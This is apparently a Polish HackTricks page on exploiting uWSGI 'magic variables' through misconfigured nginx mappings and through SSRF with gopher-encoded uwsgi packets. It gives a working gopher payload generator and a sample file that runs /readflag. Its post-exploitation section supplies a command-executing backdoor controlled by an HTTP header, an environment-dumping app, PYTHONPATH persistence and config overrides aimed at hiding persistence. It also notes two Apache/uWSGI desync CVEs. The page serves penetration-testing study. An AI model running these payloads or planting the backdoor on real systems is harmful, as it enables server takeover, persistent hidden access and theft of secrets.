WSGI Post-Exploitation Tricks

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

WSGI Przegląd

Web Server Gateway Interface (WSGI) to specyfikacja opisująca, jak serwer WWW komunikuje się z aplikacjami webowymi oraz jak aplikacje webowe mogą być łączone w łańcuch, by obsłużyć jedno żądanie. uWSGI jest jednym z najpopularniejszych serwerów WSGI, często używanym do serwowania aplikacji webowych w Pythonie. Jego natywny binarny transport to protokół uwsgi (małe litery), który przenosi zestaw parametrów klucz/wartość (“uwsgi params”) do backendowego serwera aplikacji.

Related pages you may also want to check:

Werkzeug / Flask Debug

SSRF (Server Side Request Forgery)

uWSGI Magic Variables Exploitation

uWSGI udostępnia specjalne “zmienne magiczne”, które mogą zmienić sposób, w jaki instancja ładuje i dystrybuuje aplikacje. Te zmienne nie są zwykłymi nagłówkami HTTP — są to parametry uwsgi przenoszone wewnątrz żądania uwsgi/SCGI/FastCGI od reverse proxy (nginx, Apache mod_proxy_uwsgi, itd.) do backendu uWSGI. Jeśli konfiguracja proxy mapuje dane kontrolowane przez użytkownika na parametry uwsgi (na przykład za pomocą $arg_*, $http_*, lub niebezpiecznie wystawionych endpointów mówiących protokołem uwsgi), atakujący mogą ustawić te zmienne i uzyskać wykonanie kodu.

Niebezpieczne mapowania w frontowych proxy (przykład nginx)

Błędne konfiguracje takie jak poniższa bezpośrednio ujawniają zmienne magiczne uWSGI w danych kontrolowanych przez użytkownika:

location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}

Jeśli aplikacja lub funkcja upload pozwala na zapis plików w przewidywalnej ścieżce, połączenie tego z powyższymi mapowaniami zwykle skutkuje natychmiastowym RCE, gdy backend załaduje kontrolowany przez atakującego plik/moduł.

Kluczowe zmienne podatne na wykorzystanie

UWSGI_FILE - Arbitrary File Load/Execute

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Ładuje i wykonuje dowolny plik Pythona jako aplikację WSGI. Jeśli atakujący może kontrolować ten parametr za pomocą uwsgi param bag, może osiągnąć Remote Code Execution (RCE).

UWSGI_SCRIPT - Ładowanie skryptu

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Ładuje określony skrypt jako nową aplikację. W połączeniu z możliwością przesyłania plików lub zapisu może to prowadzić do RCE.

UWSGI_MODULE i UWSGI_CALLABLE - Dynamiczne ładowanie modułów

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Te parametry pozwalają na załadowanie dowolnych modułów Pythona i wywoływanie konkretnych funkcji w ich obrębie.

UWSGI_SETENV - Manipulacja zmiennymi środowiskowymi

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Może być użyte do modyfikowania zmiennych środowiskowych, potencjalnie wpływając na zachowanie aplikacji lub ładowanie złośliwej konfiguracji.

UWSGI_PYHOME - Manipulacja środowiskiem Pythona

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Zmienia wirtualne środowisko Pythona, potencjalnie ładując złośliwe pakiety lub inny interpreter Pythona.

UWSGI_CHDIR - Zmiana katalogu

uwsgi_param UWSGI_CHDIR /etc/;

Zmienia katalog roboczy przed przetwarzaniem żądań i może być łączona z innymi funkcjami.

SSRF + uwsgi protocol (gopher) pivot

Threat model

Jeśli docelowa aplikacja webowa ujawnia SSRF primitive i instancja uWSGI nasłuchuje na wewnętrznym gnieździe TCP (na przykład, socket = 127.0.0.1:3031), możesz komunikować się surowym protokołem uwsgi przez gopher i wstrzykiwać magiczne zmienne uWSGI.

Jest to możliwe, ponieważ wiele wdrożeń używa wewnętrznie nie-HTTP gniazda uwsgi; reverse proxy (nginx/Apache) tłumaczy klientowskie HTTP na zestaw parametrów uwsgi. Z SSRF+gopher możesz bezpośrednio skonstruować binarny pakiet uwsgi i ustawić niebezpieczne zmienne takie jak UWSGI_FILE.

uWSGI protocol structure (quick reference)

  • Header (4 bytes): modifier1 (1 byte), datasize (2 bytes little-endian), modifier2 (1 byte)
  • Body: sequence of [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

Dla standardowych żądań modifier1 ma wartość 0. Ciało zawiera parametry uwsgi takie jak SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE itd. Zobacz oficjalną specyfikację protokołu dla pełnych szczegółów.

Minimal packet builder (generate gopher payload)

import struct, urllib.parse

def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)

# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Przykład użycia do wymuszenia załadowania pliku wcześniej zapisanego na serwerze:

params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))

Wyślij wygenerowany URL przez SSRF sink.

Przykład działania

Jeśli możesz zapisać plik python na dysku (rozszerzenie nie ma znaczenia) z kodem takim jak:

# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')

def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']

Wygeneruj i wywołaj gopher payload, który ustawi UWSGI_FILE na tę ścieżkę. Backend zaimportuje i uruchomi go jako WSGI app.

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess, base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Załaduj to przy użyciu UWSGI_FILE i uzyskaj do niego dostęp pod wybranym SCRIPT_NAME.

Utrwalanie oparte na zmiennych środowiskowych

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

2. Ujawnianie informacji

Zrzut zmiennych środowiskowych

# env_dump.py
import os, json

def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Dostęp do systemu plików

Połącz UWSGI_CHDIR z narzędziem do serwowania plików, aby przeglądać wrażliwe katalogi.

3. Pomysły na Privilege Escalation

  • Jeśli uWSGI działa z podwyższonymi uprawnieniami i zapisuje sockets/pids należące do root, nadużycie env i zmian katalogów może pozwolić na zapisanie plików z uprzywilejowanymi właścicielami lub manipulowanie runtime state.
  • Nadpisanie konfiguracji przez environment (UWSGI_*) w pliku ładowanym przez UWSGI_FILE może wpłynąć na process model i workers, aby uczynić persistence trudniejszą do wykrycia.
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Reverse-proxy desync issues istotne dla łańcuchów uWSGI (najnowsze)

Instalacje używające Apache httpd z mod_proxy_uwsgi doświadczyły ostatnio błędów response-splitting/desynchronization, które mogą wpływać na warstwę translacji frontend↔backend:

  • CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): spreparowane nagłówki odpowiedzi mogą powodować HTTP response smuggling, gdy używany jest mod_proxy_uwsgi. Aktualizacja Apache do ≥2.4.56 łagodzi problem.
  • CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”

Te luki nie dają bezpośrednio RCE w uWSGI, ale w skrajnych przypadkach można je łączyć z header injection lub SSRF, aby pivotować w kierunku uwsgi backendu. Podczas testów fingerprintuj proxy i wersję oraz rozważ desync/smuggling primitives jako wejście do tras i socketów dostępnych tylko z backendu.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks